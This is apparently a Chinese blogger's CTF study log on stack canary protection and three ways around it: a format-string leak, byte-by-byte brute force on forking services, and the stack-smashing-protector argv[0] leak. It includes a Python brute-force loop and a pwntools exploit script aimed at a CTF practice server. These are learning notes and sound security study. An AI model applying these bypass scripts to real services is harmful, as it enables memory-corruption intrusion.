日志 7.10 pwn

canary

在函数执行语句之前,在栈上插入一个值,这个值不能得到或预测,在函数语句执行完之后,会查看栈中的值是否被修改/覆盖来判断是否被溢出,若值被修改则调用___stack_chk_fail()来结束程序。

利用方法:

1. 泄露canary

使用条件:格式化字符串漏洞+找到canary在栈中的偏移
利用格式化字符串漏洞等泄露出canary

2. 爆破canary

使用条件:有fork()机制
在有fork()机制的文件上,fork()的作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。
注意:canary的最低位是\x00,32位canary的值是4字节,64位为8字节。
爆破:以32为例

canary = '\x00'
for j in range(3):
    for i in range(0x100):
        cn.send('a'*100 + canary + chr(i))
        a = cn.recvuntil('welcome\n')
        if 'recv' in a:
            canary += chr(i)
            break
3. 故意触发canary (Stack Smashing Protector)

当canary的值与原来不一致时,会调用___stack_chk_fail()函数,这个函数会将栈上的arg[0]参数打印出来,我们可以通过覆盖该参数来使程序打印出想要的内容

from pwn import *
context.log_level = 'debug'

cn = remote('pwn.jarvisoj.com', 9877)
#cn = process('pwn_smashes')
cn.recv()
cn.sendline(p64(0x0400d20)*200)
cn.recv()
cn.sendline()
cn.recv()
今日疑问:为什么这个需要再发送一次cn.sendline()呢?

TIPS:

ELF的重映射:当可执行文件足够小的时候,他的不同区段可能会被多次映射。

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值